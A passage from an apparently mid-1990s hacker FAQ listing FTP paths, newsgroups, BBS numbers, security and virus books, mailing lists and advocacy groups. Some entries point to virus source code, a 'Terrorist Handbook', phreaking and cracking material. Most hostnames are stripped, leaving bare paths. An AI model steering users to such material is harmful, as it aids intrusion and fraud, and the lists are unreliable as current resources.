(Crypto) /pub/security/satan /pub/Publications/CuD (EFF) /pub/security (Security) (Etext) /pub/deadkat (TNO) /pub/defcon (DefCon) /pub/defcon/BBEEP (BlueBeep) /pub/phrack (Phrack) /pub/doc/CuD /pub/users/laura /pub/users/wakko /pub/hacker/ (H/P) /pub/firewalls (Firewalls) /pub/security (Security) /www/evildawg/public_access/C&N/ /pub/sources/security /pub/security (Security) /users/oracle/ (H/P N /security /pub (CIAC) /pub/unix/security /pub/security /ppp-pop/strata/mac (Mac) /security/archives/phrack (Zines) /pub/security/satan /pub/br/bradleym (Virii) /pub/da/daemon9 (H/P) /pub/fi/filbert N /pub/gr/grady N /pub/il/illusion (H/P+Virus) N /pub/je/jericho (H/P) /pub/le/lewiz (Social Engineering) N /pub/ty/tym (TYM) /pub/va/vandal (DnA) /pub/wt/wtech/ N /pub/zi/zigweed (H/P) /pub/zz/zzyzx (H/P) /PC/Crypt (Cryptology) /pub/comp/security /pub/crypto (Cryptology) /pub/wordlists (Wordlists) /pub/toneloc/ (ToneLoc) N /pub/areacode (uk areacodes) /users/i/insphrk /users/k/kludge (H/P) /users/s/scuzzy (Copy Protection) /pub/security (Security) /pub/DES /pub/conquest/DeadelviS/script/vms/ /pub/lps (Home of the FAQ) N /pub/users/mikes/haq /archives/alt.locksmithing (Locksmithing) /obi/Mischief/ (MIT Guide to Locks) /obi/Phracks (Zines) /pub/network/monitoring (Ethernet sniffers) /pub/security (SURAnet) U /pub (TIS) /pub/security (Wordlists) /doc/literary/obi/Phracks (Zines) /pub/dos/romulus/cracks (Copy Protection) /pub/cud (Zines) /pub/security /pub/security (Security) /users/nitehwk (H/P) /doc/EFF (EFF) (Cryptology) /pc/crypt (Cryptology) N /pub/grandi /pub/safetynet (Down for Summer) (Third Stone From The Sun) N /pub (The Guild) (The L0pht) /telecom-archives (Telecom archives) (Legion of Doom) /pub/users/patriot (Misc) N /pub/pgp /pub/security/TAMU (Security) /pub (Max Headroom) /scc (DDN Security) /pub/security /pub/hamradio (Ham Radio) /SimTel/msdos/sound (DTMF decoders) /SimTel/msdos/sysutil (BIOS attackers) /pub/misc (Terrorist Handbook) /pub/security (Security) /doc/telecom-archives (Telecom) /pub/security (Security) /dist/internet_security (AT&T) /pub/crypt (Ripem) N /pub2/KRaD (KRaD Magazine) (Etext) /pub/usenet-by-group (Usenet FAQ's) /pub/crypt (Cryptology) N /Security (SGI Security) (CSC) N /usenet/uk.telecom (uk.telecom archives) /pub/unix/security (Security) /pub1/security (Security) /pub/security (Security) /pub/rsa129/README (Breaking RSA) /security N (Mac + H/P) /pub/crypto (Cryptology) N /pub/aminet/util/crypt 02. What are some fsp sites of interest to hackers? None at this time. 03. What are some newsgroups of interest to hackers? alt.2600 Do it 'til it hertz N alt.2600hz N alt.2600.codez N alt.2600.debate N alt.2600.moderated alt.cellular alt.cellular-phone-tech Brilliant telephony mind blow netnews naming alt.comp.virus An unmoderated forum for discussing viruses alt.comp.virus.source.code alt.cracks Heavy toolbelt wearers of the world, unite alt.cyberpunk High-tech low-life. alt.cyberspace Cyberspace and how it should work. alt.dcom.telecom Discussion of telecommunications technology alt.engr.explosives [no description available] Lewis De Payne fan club alt.hackers Descriptions of projects currently under development alt.hackintosh alt.locksmithing You locked your keys in *where*? alt.hackers.malicious The really bad guys - don't take candy from them United Kingdom version of alt.2600 alt.privacy.anon-server Tech. & policy matters of anonymous contact servers Hide the gear, here comes the magic station-wagons. Discussion of scanning radio receivers. All about European satellite tv Security issues on computer systems Pointers to good stuff in (Moderated) Exchange of keys for public key encryption systems The Pretty Good Privacy package A secure email system illegal to export from the US comp.dcom.cellular [no description available] comp.dcom.telecom Telecommunications digest (Moderated) [no description available] Computer Professionals for Social Responsibility Issues of computing and social responsibility News from the Electronic Frontiers Foundation Discussion of EFF goals, strategies, etc. N Netware Security issues comp.protocols.kerberos The Kerberos authentification server comp.protocols.tcp-ip TCP and IP network protocols comp.risks Risks to the public from computers & users Announcements from the CERT about security N Anything pertaining to network firewall security Security issues of computers and networks Discussion of Unix security comp.virus Computer viruses & security (Moderated) Mitteilungen des CCC e.V. Security in general, not just computers (Moderated) rec.pyrotechnics Fireworks, rocketry, safety, & other topics [no description available] Technical and regulatory issues of cable television sci.crypt Different methods of data en/decryption 04. What are some telnet sites of interest to hackers? (NTIA) (The L0pht) (The Floating Pancreas) telnet 2600 (underground bbs) (temporarily down) (Virtual Doughnutland BBS) 31337 (Twilight of The Idols) N (Computer Systems Consulting) 05. What are some gopher sites of interest to hackers? (Bell Atlantic) N (Cell Relay Retreat) (NIST Security Gopher) (SIGSAC (Security, Audit & Control)) (Computer Professionals for Social Responsibility) (Electonic Frontier Foundation) N (Panix) (Pacific Bell) (NITA -- IITF) N (International Telegraph Union) (National Criminal Justice Reference Service) (Open Source Solutions) (Computer Systems Consulting) (Wiretap) 06. What are some World wide Web (WWW) sites of interest to hackers? N (Peter Strangman's) U (Underground Links) U (American Society for Industrial Security Management) (ISDN) N (WWW-security info) (NASA/MOD AIS Security) (Tech. for Info Sec) (800 directory) (UNIX Security Topics) N (Unauthorized Access Home Page) N (GSM Specification) N (Cell Relay Retreat) N (CIAC Web Site) N N (The COAST Project and Laboratory) N (Dcypher's Home Page) N (NIST) N (Cable and Wireless) N (Embryonic Telephone History Page) N (The Uebercracker's Security Web) N (Crypto) N N (Caffeine's Home Page) N ( Security Page) N (Security Lab Slides) (CSSCR) N (Simple Nomad) N (FIRST) N (Phrack Magazine) N N (ARPA home page) (Security) N (Bytor home page) N (MOD Security) N (MOD Rainbow Books) (Sterling) (ICE NIS) (Betsi) N (GTE Labrotories) N (Orange) (SPAWAR INFOSEC) N (NAVCIRT) N (Internet Security Systems) N (UK Telecom Pricing Information) (The l0pht) (Phantasy Magazine) N (Whacked Mac Archives) N (North American Area Codes) N (1-800 Info) N (1-900 Info) N (Legion of Doom) N (Gatsby) N (Mark Tabas -- LOD) N (Empire Times) N (Cryptology) N (Red box info) (FakeMail FAQ) (The Secrets of LockPicking) N (Stephen H Kawamoto's Home Page) (SAIC MLS) N (Lawrie Brown's crypto bibliography) (Motorola) U (FBI information) U (NASIRC) (Cryptology) (Ophie) N (Full Disclosure) U (EFF Australia) N (Quebec-Telephone) N (BioHazard's Home Page) N (Full Disclosure) N N (UNIX Security) U (Security) U (Security Lab Slides) N (3wP Kevin Mitnick WWW HomePage) N (Network Management) N (Sun Microsystems Sponsor Page) N (Hewlett Packard SupportLine Services) N (Hacking/Phreaking) (LaMacchia case info) N (Cliff Stoll) (Detective Databases 1995) (Micro Power Broadcasting) (Eubercrackers) (Cell) N (Getting PGP) N U (Cryptology) N (Klon's Underground Links) (Network Security) N N (Rutger's documents on WWW security) U (Box info) U document) N (Findingsomeone's PGP key) (2600 Magazine) N (8lgm Security Advisories) (Ameritech) N N (Unix Security) N (Chaos Computer Club Hotlist) N (Artech House) N (Atlantic Systems Group Mosaic Index) N (Mobile Phone Service Locator) N (ATT) N (Auditel) N (Australian CERT) N (Axent Technologies) (Bell Atlantic) N (BC Tel) N (Bell Canada) (MFJ Task Force) (Bellcore Security Products) N (Border Network Technologies) N (Undergound WWW Sites) (BellSouth) N (British Telecom) N (Cellnet) N (WWW-based remailing form) (Lanl) (OCP's) U (USWest) N (Telecom) N N N (En Garde Systems) (German First Team) N (Checkpoint) N (Another page on secure WWW server setup) N (Are You Some Kind Of PHREAK!) N (Inside Cable Cover) N (Cohesive Systems) (HyperText) N (The Cryptography Project) N (COST Computer Security Technologies) (CPSR) N (Crimson's Telecommunications Acronyms) N (CRTC - Canadian regulator) N (Anon remailer list) U (CMU Security) U (Coast) N (PCERT) N (Network management Tools) (Cypherpunk) (Laughing Gas) N (Harris) (SRI Computer Science Lab) U (Cryptology) N N (Joyrex Cellular) (CyberCafe) N (Cryptography Export Control Archives) U (Data Fellows (F-Prot) N (SotMESC) N (Cypherpunk) N (C.C.Mobiles) N (DataHaven Project) N (Pluvius' Home Page) U (Ecash Home Page) (Digital Secure Systems) N (Office of the U.S. Secretary of Defense (OSD) N (DoD Information Analysis Center (IAC) Hub Page) N N (Bugtraq) (Intrusion Detection Systems) N N N (Racal-Airtech) (System administration) N N (Ericsson) (Zines) N (Farmstead) U (FBI Homepage) (DefCon) (Federal Government) (FIRST) N (Fonorola (a Canadian carrier) N (Firewalls R Us) (KarlBridge) (CRAK Software) N N (FleXtel) (Great Circle Associates) N N (Global Technology Associates) N (Gray Areas) U (Wired Magazine) (NSA) N (Telecom Eireann) N (International Association of Cryptologic Research (IACR) N (Videotron) N (Central Intelligence Agency Home Page) N N (Rich Gautier's Home Page) N (CRAK Software) N (Ingress Communications) N N N (Oliver Seidler's WWW Page) N (NRL Center for High Assurance Computer Systems) N (Telecom '95) N N (Journal of Electronic Defense) N (Cult of the Dead Cow) N (Radiophone Archive) N (International Information Retrieval Guild Archive Site) N (Los Altos Technologies) (Security) N (Bone's H/P/C page o' rama) N N (The GodZ of CyberSpacE) (Lockpicking Guide) (Terrorists Handbook) N (Secure Electronic Payment Protocol) (Radar) (Cell) N (H/P) (Hackers, the movie) N (Milkyway Networks Corporation) N (PGP 2.6.2 FAQ, Buglist, Fixes, and Improvements) N (The Insomniac's Home Page) N (Motorola) (MPR Teltech Ltd) N (Info on IP spoofing attacks) N (Microwave Journal) N in Mosaic) N (NIST Computer Systems Laboratory) (Max Headroom) N (NetPartners) N (NIST) N (Nokia) N (Northern Telecom) (Nippon Telephone) N (NYNEX) U (The CIA) N (Mercury One-2-One) N (OFTEL's Home Page) (Pacific Bell) N N (Paranoia's H/P/A Links) (ToneLoc) N (Cold Fire's Web Page) N (Darkfox's Home Page) N (Ice-9's Home Page) (PGP) N (DarkCyde) N (Randy King's WWW Page) N (Phillips Electronics) N (The Phred Networking Organization) N (Starlink) (BlueBeep Home Page) (Kludge) (Quadralay Cryptography) (Qualcomm CDMA) N (PGP with MS/Win) N (Raptor) (Raptor Network Isolator) (AT&T) N (Rocksoft Pty (Veracity) N (Rogers Communications) (RSA Data Security) N (SaskTel) N (PORTUS) N (Secure Computing Corporation) (FakeMail FAQ) N N (CERT Coordination Center) N (USWest) N N N (Somar Software) N (Sources of Supply Corp) (The World of Hacking) (Computer Systems Consulting) N ( (SRI) N (Stentor (Canadian telcos) N (BT "star services") N (Telecommunications Magazine) N (Telkom S.A. Ltd) (Security Reference Index) N N (Jokai Reservation for the Preservation of the 1st Amendment) N (Trusted Information Systems) N (CrookBook) N (Telecomunications Training Courses) (Southwestern Bell) (Synapse Magazine) N N (kn0wledge phreak) (Security) N (The Personal Number Company) (Virus) N ( N (Hacker Crackdown) N (Vodafone) N (Natel) U N (National Number Group Codes) N N (Captain Crunch) N (Wiltel) N (Telecommunications Glossary) N (HotWired) N (IRC) In addition to browsing these fine pages, you can often find what you are looking for by using one of these automated search engines: 07. What are some IRC channels of interest to hackers? #2600 #cellular #hack #phreak #linux #realhack #root #unix #warez 08. What are some BBS's of interest to hackers? Rune Stone (203)832-8441 NUP: Cyberdeck The Truth Sayer's Domain (210)493-9975 Hacker's Haven (303)343-4053 Independent Nation (413)573-1809 Ut0PiA (315)656-5135 (514)683-1894 Alliance Communications (612)251-8596 Maas-Neotek (617)855-2923 Apocalypse 2000 (708)676-9855 K0dE Ab0dE (713)579-2276 fARM R0Ad 666 (713)855-0261 kn0wledge Phreak <k0p> BBS (719)578-8288 NUP=NO NUP N The Edge of Reality (805)496-7460 Static Line (806)747-0802 Area 51 (908)526-4384 N The Drunk Forces +972-3-5733477 09. What are some books of interest to hackers? General Computer Security ~~~~~~~~~~~~~~~~~~~~~~~~~ Computer Security Basics Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-71-4 This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert. Information Systems Security Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold Copyright Date: 1993 ISBN: 0-442-00180-0 Computer Related Risks Author: Peter G. Neumann Publisher: Addison-Wesley Copyright Date: 1995 ISBN: 0-201-55805-X Computer Security Management Author: Karen Forcht Publisher: boyd & fraser publishing company Copyright Date: 1994 ISBN: 0-87835-881-1 The Stephen Cobb Complete Book of PC and LAN Security Author: Stephen Cobb Publisher: Windcrest Books Copyright Date: 1992 ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback) Security in Computing Author: Charles P. Pfleeger Publisher: Prentice Hall Copyright Date: 1989 ISBN: 0-13-798943-1. Building a Secure Computer System Author: Morrie Gasser Publisher: Van Nostrand Reinhold Co., New York. Copyright Date: ISBN: 0-442-23022-2 Modern Methods for Computer Security Author: Lance Hoffman Publisher: Prentice Hall Copyright Date: 1977 ISBN: Windows NT 3.5 Guidelines for Security, Audit and Control Author: Publisher: Microsoft Press Copyright Date: ISBN: 1-55615-814-9 Protection and Security on the Information Superhighway Author: Dr. Frederick B. Cohen) Publisher: John Wiley & Sons Copyright Date: 1995 ISBN: 0-471-11389-1 N Commonsense Computer Security Author: Martin Smith Publisher: McGraw-Hill Copyright Date: 1993 ISBN: 0-07-707805-5 N Combatting Computer Crime Author: Jerry Papke Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc. Copyright Date: 1992 ISBN: 0-8306-7664-3 N Computer Crime: a Crimefighters Handbook Author: David Icove, Karl Seger and William VonStorch Publisher: O'Reilly & Associates Copyright Date: 1995 ISBN: 1-56592-086-4 Unix System Security ~~~~~~~~~~~~~~~~~~~~ Practical Unix Security Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-72-2 Firewalls and Internet Security Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley Copyright Date: 1994 ISBN: 0-201-63357-4 Unix System Security Author: Rik Farrow Publisher: Addison Wesley Copyright Date: 1991 ISBN: 0-201-57030-0 Unix Security: A Practical Tutorial Author: N. Derek Arnold Publisher: McGraw Hill Copyright Date: 1993 ISBN: 0-07-002560-6 Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry Publisher: Addison-Wesley Copyright Date: 1992 ISBN: 0-201-56327-4 Unix System Security Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books Copyright Date: 1985 ISBN: 0-672-48494-3 Unix Security for the Organization Author: Richard Bryant Publisher: Sams Copyright Date: 1994 ISBN: 0-672-30571-2 N Building Internet Firewalls Author: D. Brent Chapman and Elizabeth D. Zwicky Publisher: O'Reilly and Associates, Inc. Copyright Date: 1995 ISBN: 1-56592-124-0 N Unix System Security Essentials Author: Christopher Braun Publisher: Addison Wesley Copyright Date: 1995 ISBN: 0-201-42775-3 N Internet Firewalls and Network Security Author: Karanjit S. Siyan and Chris Hare Publisher: New Riders Publishing Copyright Date: 1995 ISBN: 1-56205-437-6 Network Security ~~~~~~~~~~~~~~~~ Network Security Secrets Author: David J. Stang and Sylvia Moon Publisher: IDG Books Copyright Date: 1993 ISBN: 1-56884-021-7 Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang. Complete Lan Security and Control Author: Peter Davis Publisher: Windcrest / McGraw Hill Copyright Date: 1994 ISBN: 0-8306-4548-9 and 0-8306-4549-7 Network Security Author: Steven Shaffer and Alan Simon Publisher: AP Professional Copyright Date: 1994 ISBN: 0-12-638010-4 N Network Security: How to Plan For It and How to Achieve It Author: Richard M. Baker Publisher: McGraw-Hill, Inc. Copyright Date: ISBN: 0-07-005141-0 N Network Security Author: Steven L. Shaffer and Alan R. Simon Publisher: Academic Press Copyright Date: 1994 ISBN: 0-12-638010-4 N Network Security: Private Communications in a Public World Author: Charlie Kaufman, Radia Perlman and Mike Speciner Publisher: Prentice Hall Copyright Date: 1995 ISBN: 0-13-061466-1 N Network and Internetwork Security: Principles and Practice Author: William Stallings Publisher: Prentice Hall Copyright Date: 1995 ISBN: 0-02-415483-0 N Implementing Internet Security Author: William Stallings Publisher: New Rider Publishing Copyright Date: 1995 ISBN: 1-56205-471-6 N Actually Useful Internet Security Techniques Author: Larry J. Hughes, Jr. Publisher: New Riders Publishing Copyright Date: 1995 ISBN: 1-56205-508-9 Cryptology ~~~~~~~~~~~~ Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-59756-2 Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy. Cryptography and Data Security Author: Dorothy Denning Publisher: Addison-Wesley Publishing Co. Copyright Date: 1982 ISBN: 0-201-10150-5 Protect Your Privacy: A Guide for PGP Users Author: William Stallings Publisher: Prentice-Hall Copyright Date: 1994 ISBN: 0-13-185596-4 Codebreakers Author: Kahn Publisher: Simon and Schuster Copyright Date: ISBN:0-02-560460-0 Codebreakers: The Inside Story of Bletchley Park Author: Francis Harry Hinsley and Alan Stripp Publisher: Oxford University Press, Copyright Date: 1993 ISBN:0-19-285304-X Cryptanalysis, a study of ciphers and their solution Author: Gaines, Helen Fouche Publisher: Dover Publications Copyright Date: 1956 ISBN: N Computer Privacy Handbook Author: Andre' Bacard Publisher: Peachpit Press Copyright Date: 1995 ISBN: 1-56609-171-3 N E-Mail Security with PGP and PEM Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1995 ISBN: 0-471-05318-X N PGP: Pretty Good Privacy Author: Simson Garfinkel Publisher: O'Reilly & Associates, Inc. Copyright Date: 1995 ISBN: 1-56592-098-8 Programmed Threats ~~~~~~~~~~~~~~~~~~ The Little Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1990 ISBN: 0-929408-02-0 N The Giant Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1995 ISBN: Computer Viruses, Artificial Life and Evolution Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1993 ISBN: 0-929408-07-1 Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System Author: John McAfee and Colin Haynes Publisher: St. Martin's Press Copyright Date: 1989 ISBN: 0-312-03064-9 and 0-312-02889-X The Virus Creation Labs: A Journey Into the Underground Author: George Smith Publisher: American Eagle Publications Copyright Date: 1994 ISBN: 0-929408-09-8 U A Short Course on Computer Viruses Author: Dr. Fred Cohen Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-00769-2 N Robert Slade's Guide to Computer Viruses Author: Robert Slade Publisher: Springer-Verlag Copyright Date: 1994 ISBN: 0-387-94311-0 / 3-540-94311-0 Telephony ~~~~~~~~~ Engineering and Operations in the Bell System Author: R.F. Rey Publisher: Bell Telephont Laboratories Copyright Date: 1983 ISBN: 0-932764-04-5 Although hopelessly out of date, this book remains *THE* book on telephony. This book is 100% Bell, and is loved by phreaks the world over. Telephony: Today and Tomorrow Author: Dimitris N. Chorafas Publisher: Prentice-Hall Copyright Date: 1984 ISBN: 0-13-902700-9 The Telecommunications Fact Book and Illustrated Dictionary Author: Ahmed S. Khan Publisher: Delmar Publishers, Inc. Copyright Date: 1992 ISBN: 0-8273-4615-8 I find this dictionary to be an excellent reference book on telephony, and I recommend it to anyone with serious intentions in the field. Tandy/Radio Shack Cellular Hardware Author: Judas Gerard and Damien Thorn Publisher: Phoenix Rising Communications Copyright Date: 1994 ISBN: The Phone Book Author: Carl Oppendahl Publisher: Consumer Reports Copyright Date: ISBN: 0-89043-364-x Listing of every cellular ID in the us, plus roaming ports, and info numbers for each carrier. Principles of Caller I.D. Author: Publisher: International MicroPower Corp. Copyright Date: ISBN: Hacking History and Culture ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling Publisher: Bantam Books Copyright Date: 1982 ISBN: 0-553-56370-X Bruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience. Cyberpunk Author: Katie Hafner and John Markoff Publisher: Simon and Schuster Copyright Date: 1991 ISBN: 0-671-77879-X The Cuckoo's Egg Author: Cliff Stoll Publisher: Simon and Schuster Copyright Date: 1989 ISBN: 0-671-72688-9 Hackers: Heroes of the Computer Revolution Author: Steven Levy Publisher: Doubleday Copyright Date: 1984 ISBN: 0-440-13495-6 Unclassified ~~~~~~~~~~~~ The Hacker's Handbook Author: Hugo Cornwall Publisher: E. Arthur Brown Company Copyright Date: ISBN: 0-912579-06-4 Secrets of a Super Hacker Author: The Knightmare Publisher: Loompanics Copyright Date: 1994 ISBN: 1-55950-106-5 The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage. The Day The Phones Stopped Author: Leonard Lee Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992 ISBN: 1-55611-286-6 Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer. Information Warfare Author: Winn Swartau Publisher: Thunder Mountain Press Copyright Date: 1994 ISBN: 1-56025-080-1 An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug Richardson Publisher: Salamander Press Copyright Date: ISBN: 0-668-06497-8 10. What are some videos of interest to hackers? 'Unauthorized Access' by Annaliza Savage $25 on VH S format in 38-min Savage Productions 1803 Mission St., #406 Santa Cruz, CA 95060 Hacker's '95 - a Phon-E & R.F. Burns Production See the video Emmanuel Goldstein thought would have the Feds knocking at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y fiasco at Summercon PMF (narc) interviews Emmanuel Goldstein & Eric BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the Secret Service briefing on Operation Cyber Snare (recent cell busts) Talks on Crypto, HERF, the Feds, etc. All information is presented for educational purposes only. Not for sale to government or law enforcement organizations. Running time aproximately 90 minutes. $25.00 NTSC VHS $35.00 PAL/Secam VHS Custom Video Productions (908)842-6378 11. What are some mailing lists of interest to hackers? Academic Firewalls Registration Address: Send a message to containing the line "subscribe firewalls user@host" N The Alert Registration Address: Send a message to containing the line "subscribe alert" Bugtraq Reflector Address: Registration Address: Cert Tools Reflector Address: Registration Address: Computers and Society Reflector Address: Registration Address: Coordinated Feasibility Effort to Unravel State Data Reflector Address: Registration Address: CPSR Announcement List Reflector Address: Registration Address: CPSR - Intellectual Property Reflector Address: Registration Address: CPSR - Internet Library Reflector Address: Registration Address: N Cypherpunks Registration Address: Send a message to containing the line "subscribe cypherpunks" DefCon Announcement List Registration Address: Send a message to containing the line "subscribe dc-announce" DefCon Chat List Registration Address: Send a message to containing the line "subscribe dc-stuff" N Discount Long Distance Digest Registration Address: Send a message to: containing the line "subscribe" Electronic Payment Registration Address: IDS (Intruder Detection Systems) Registration Address: Send a message to containing the line "subscribe ids" N Information Warfare Registration Address: E-mail with a request to be added. N Linux-Alert Registration Address: N Linux-Security Registration Address: Macintosh Security Reflector Address: Registration Address: NeXT Managers Registration Address: PGP3 announcement list Registration Address: Subject: Your Name <user@host> Body: *ignored* Phiber-Scream Registration Address: Send a message to containing the line "subscribe phiber-scream user@host" phruwt-l (Macintosh H/P) Registration Address: Send a message to with the subject "phruwt-l" rfc931-users Reflector Address: Registration Address: RSA Users Reflector Address: Registration Address: WWW Security Registration Address: 12. What are some print magazines of interest to hackers? 2600 - The Hacker Quarterly ~~~~~~~~~~~~~~~~~~~~~~~~~~~ E-mail addresses: - to get info on 2600 - to get a copy of our index - for info on starting your own meeting -- for subscription problems -- to send us a letter -- to send us an article -- to send us a general message Subscription Address: 2600 Subscription Dept PO Box 752 Middle Island, NY 11953-0752 Letters and article submission address: 2600 Editorial Dept PO Box 99 Middle Island, NY 11953-0099 Phone Number: (516)751-2600 Fax Number: (516)474-2677 Voice BBS: (516)473-2626 Subscriptions: United States: $21/yr individual, $50 corporate. Overseas: $30/yr individual, $65 corporate. Gray Areas ~~~~~~~~~~ Gray Areas examines gray areas of law and morality and subject matter which is illegal, immoral and/or controversial. Gray Areas explores why hackers hack and puts hacking into a sociological framework of deviant behavior. E-Mail Address: E-Mail Address: U.S. Mail Address: Gray Areas PO Box 808 Broomall, PA 19008 Subscriptions: $26.00 4 issues first class $34.00 4 issues foreign (shipped air mail) Privacy Newsletter ~~~~~~~~~~~~~~~~~~ Privacy Newsletter is a monthly newsletter devoted to showing consumers how to get privacy and keep it. E-Mail Address: Subscription Address: Privacy Newsletter P.O. Box 8206 Philadelphia, PA 19101-8206 Subscriptions: $99/yr (US) $149/yr (Overseas) Wired ~~~~~ Subscription Address: or: Wired PO Box 191826 San Francisco, CA 94119-9866 Letters and article submission address: or: Wired 544 Second Street San Francisco, CA 94107-1427 Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas) Nuts & Volts ~~~~~~~~~~~~ T& L Publications 430 Princeland Court Corona, CA 91719 (800)783-4624 (Voice) (Subscription Only Order Line) (909)371-8497 (Voice) (909)371-3052 (Fax) CIS: 74262,3664 Cybertek: The Cyberpunk Technical Journal ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ P.O. Box 64 Brewster, NY 10509 Frequency: Bimonthly Domestic Subscription Rate: $15/year (6 issues) PrivateLine ~~~~~~~~~~~ 5150 Fair Oaks Blvd. #101-348 Carmichael, CA 95608 USA E-Mail: Subscriptions: $24 a year for six issues Text of back issues are at the etext archive at Michigan. Gopher over or ftp to: 13. What are some e-zines of interest to hackers? CoTNo: Communications of The New Order /pub/Zines/CoTNo Empire Times /pub/Zines/Emptimes FEH /pub/defcon/FEH The Infinity Concept /pub/Philes/Zines/TheInfinityConcept Phrack /pub/phrack 14. What are some organizations of interest to hackers? Computer Professionals for Social Responsibility (CPSR) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policy makers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society. By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy. Every project we undertake is based on five principles: * We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society. * We work to dispel popular myths about the infallibility of technological systems. * We challenge the assumption that technology alone can solve political and social problems. * We critically examine social and technical issues within the computer profession, nationally and internationally. * We encourage the use of computer technology to improve the quality of life. CPSR Membership Categories 75 REGULAR MEMBER 50 Basic member 200 Supporting member 500 Sponsoring member 1000 Lifetime member 20 Student/low income member 50 Foreign subscriber 50 Library/institutional subscriber CPSR National Office P.O. Box 717 Palo Alto, CA 94301 415-322-3778 415-322-3798 (FAX) E-mail: Electronic Frontier Foundation (EFF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer-based communications. It is a member-supported, nonprofit group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born. Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations. The Electronic Frontier Foundation, Inc. 1001 G Street, NW Suite 950 East Washington, D.C. 20001 (202)544 9237 (202)547 5481 FAX Internet: Free Software Foundation (FSF) and GNU ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Free Software Foundation is dedicated to eliminating restrictions on people's right to use, copy, modify, and redistribute computer programs. We promote the development and use of free software in all areas using computers. Specifically, we are putting together a complete, integrated software system named "GNU" ("GNU's Not Unix", pronounced "guh-new") that will be upwardly compatible with Unix. Most parts of this system are already being used and distributed. The word "free" in our name refers to freedom, not price. You may or may not pay money to get GNU software, but regardless you have two specific freedoms once you get it: first, the freedom to copy a program and give it away to your friends and co-workers; and second, the freedom to change a program as you wish, by having full access to source code. You can study the source and learn how such programs are written. You may then be able to port it, improve it, and share your changes with others. If you redistribute GNU software you may charge a distribution fee or give it away, so long as you include the source code and the GPL (GNU General Public License). Free Software Foundation, Inc. Telephone: +1-617-876-3296 673 Massachusetts Avenue Fax: +1-617-492-9057 Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD) Electronic mail: 0066-3382-0158 (IDC) GNU is to be a complete integrated computational environment: everything you need to work with a computer, either as a programmer or as a person in an office or home. The core is an operating system, which consists of a central program called a kernel that runs the other programs on the computer, and a large number of ancillary programs for handling files, etc. The Free Software Foundation is developing an advanced kernel called the Hurd. A complete system has tools for programmers, such as compilers and debuggers. It also has editors, sketchpads, calendars, calculators, spreadsheets, databases, electronic mail readers, and Internet navigators. The FSF already distributes most of the programs used in an operating system, all the tools regularly used by programmers, and much more. The League for Programming Freedom (LPF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston. "Look and feel" lawsuits aim to create a new class of government- enforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation. We in the League hope to prevent these problems 